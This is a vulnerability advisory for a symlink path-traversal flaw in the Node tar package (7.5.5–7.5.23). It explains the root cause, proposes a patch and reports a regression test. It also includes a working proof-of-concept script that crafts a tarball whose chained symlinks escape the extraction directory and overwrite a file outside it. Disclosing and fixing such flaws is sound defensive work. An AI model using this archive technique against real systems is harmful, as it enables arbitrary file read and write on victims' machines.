CVE-2026-140249

ADVISORY - github

Summary

Summary

Summary With default options, tar.x() in tar 7.5.5 through 7.5.23 (the latest release) creates a symbolic link that points outside the extraction directory, and raises no warning. The archive needs only a directory and two symlinks. This breaks the README's listed protection that "Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder."

This is not the TOCTOU case (no one but tar touches the extraction folder) and not an old version: it reproduces on 7.5.23 and on main (eb92e17), with default options.

Details

x/ Directory x/y -> .. (resolves to cwd: allowed) l -> x/y/../secret.txt (checked as cwd/x/secret.txt; really cwd/../secret.txt)

  • [STRIPABSOLUTEPATH] validates the lexically normalized linkpath, x/secret.txt, which is inside cwd.
  • [SYMLINK] runs ENSURE_NO_SYMLINK on path.resolve(...) of the linkpath, which also removes y/.. before checking, so it never sees that x/y is a symlink.
  • [LINK] then creates the link with the raw linkpath, x/y/../secret.txt. The kernel resolves x/y first (to cwd), then applies .., so l points to cwd/../secret.txt.

Repeating the x/y/ step reaches any absolute path: x/y/ × 8 followed by ../ × 16 and etc/hostname fits in the 100-byte ustar linkpath field and points at /etc/hostname. Entry order does not matter; the link can come before or after x/y.

This is the same chain as the proof of concept in GHSA-83g3-92jg-28cx (CVE-2026-26960). That fix blocked the hardlink created through the chain; the symlink itself is still created. 7.5.3 and 7.5.4 reject it (they refused any .. in a linkpath); the regression came with the relaxation in #450 ("Allow unpacking symlinks that don't escape cwd") in 7.5.5. Versions ≤ 7.5.2 also create the link but are already covered by GHSA-8qq5-rm4j-mr97.

Suggested fix

Create the symlink with the same normalized target that [STRIPABSOLUTEPATH] validated, instead of the raw linkpath. Patch against main (eb92e17):

--- a/src/unpack.ts +++ b/src/unpack.ts @@ -651,7 +651,23 @@ export class Unpack extends Parser { entry, this.cwd, parts,

  •  () => this[LINK](entry, String(entry.linkpath), 'symlink', done),
    
  •  // Create the symlink with the same lexically-normalized target that
    
  •  // [STRIPABSOLUTEPATH] validated.  Writing the raw linkpath would let a
    
  •  // `..` segment follow a component that is (or later becomes) a symlink
    
  •  // in the extraction dir, e.g. `x/y -> ..` plus `l -> x/y/../secret`,
    
  •  // which normalizes to the in-bounds `x/secret` but really resolves
    
  •  // outside cwd.
    
  •  () =>
    
  •    this[LINK](
    
  •      entry,
    
  •      this.preservePaths ?
    
  •        String(entry.linkpath)
    
  •      : path.posix.normalize(
    
  •          normalizeWindowsPath(String(entry.linkpath)),
    
  •        ),
    
  •      'symlink',
    
  •      done,
    
  •    ),
     er => {
       this[ONERROR](er, entry)
       done()
    

It was created as x/secret.txt and stays inside cwd. There is also a regression test, test/symlink-chain-escape.ts, covering both entry orders with async and sync extraction: it fails on main and passes with the patch. The full suite passes with the patch (tap: 21,254 of 21,254). An adjusted approach for example, could be resolving each linkpath component against the extraction tree instead of normalizing lexically, preserving link targets byte-for-byte but at more cost.

Proof of concept

Save as poc.cjs next to a node_modules/tar install and run node poc.cjs ./node_modules/tar ./work. It builds the archive with tar's own Header, extracts it with default options (async and sync), and then does what an application normally does next: writes to a file by its name in the archive.

const fs = require('fs') const path = require('path') const tar = require(path.resolve(process.argv[2])) const work = path.resolve(process.argv[3]) fs.rmSync(work, { recursive: true, force: true }) const cwd = path.join(work, 'extract') fs.mkdirSync(cwd, { recursive: true }) const secret = path.join(work, 'secret.txt') // outside the extraction dir fs.writeFileSync(secret, 'ORIGINAL\n')

const entries = [ { path: 'x/', type: 'Directory' }, { path: 'x/y', type: 'SymbolicLink', linkpath: '..' }, { path: 'l', type: 'SymbolicLink', linkpath: 'x/y/../secret.txt' }, { path: 'deep', type: 'SymbolicLink', linkpath: 'x/y/'.repeat(8) + '../'.repeat(16) + 'etc/hostname' }, ] const blocks = [] for (const e of entries) { const b = Buffer.alloc(512) new tar.Header({ ...e, mode: 0o755, size: 0, mtime: new Date(0) }).encode(b, 0) blocks.push(b) } blocks.push(Buffer.alloc(1024)) const tarFile = path.join(work, 'poc.tar') fs.writeFileSync(tarFile, Buffer.concat(blocks))

const run = async (sync) => { fs.rmSync(cwd, { recursive: true, force: true }); fs.mkdirSync(cwd) fs.writeFileSync(secret, 'ORIGINAL\n') const warns = [] const opts = { cwd, file: tarFile, onwarn: (c, m) => warns.push(c + ' ' + m) } if (sync) tar.x({ ...opts, sync: true }); else await tar.x(opts) console.log(--- tar.x({cwd, file${sync ? ', sync:true' : ''}})) console.log('warnings:', warns.length ? warns : 'none') console.log('readlink l ->', fs.readlinkSync(path.join(cwd, 'l'))) console.log('realpath l ->', fs.realpathSync.native(path.join(cwd, 'l'))) console.log('realpath deep ->', fs.realpathSync.native(path.join(cwd, 'deep'))) fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n') console.log('secret.txt now ->', JSON.stringify(fs.readFileSync(secret, 'utf8'))) } run(false).then(() => run(true))

Output on tar 7.5.23, Node 22.23.4, Linux:

--- tar.x({cwd, file}) warnings: none readlink l -> x/y/../secret.txt realpath l -> /secret.txt realpath deep -> /etc/hostname secret.txt now -> "PWNED\n" --- tar.x({cwd, file, sync:true}) warnings: none readlink l -> x/y/../secret.txt realpath l -> /secret.txt realpath deep -> /etc/hostname secret.txt now -> "PWNED\n"

Same result on 7.5.5, 7.5.11 and on main (eb92e17), and with open PR #470 applied. 7.5.4 rejects all three links (TAR_ENTRY_ERROR linkpath contains '..').

Impact

An attacker who supplies a tarball can make tar.x() with default options leave symlinks inside the extraction directory that point to any path on the system. tar itself does not write through them, but any later read or write of the extracted files by the application follows them: the PoC overwrites a file outside the extraction directory and resolves a link to /etc/hostname. This gives arbitrary file read and write as the extracting user, the same impact as GHSA-83g3-92jg-28cx and GHSA-9ppj-qmqm-q256.

Applications that follow the README's advice to filter out link entries for untrusted input are not affected; npm itself filters links from package artifacts.

Common Weakness Enumeration (CWE)

ADVISORY - nist

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Improper Link Resolution Before File Access ('Link Following')

ADVISORY - github

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Improper Link Resolution Before File Access ('Link Following')


NIST

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

7.2high

GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

7.2high

Docker Hardened Images

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-

CVSS SCORE

7.2high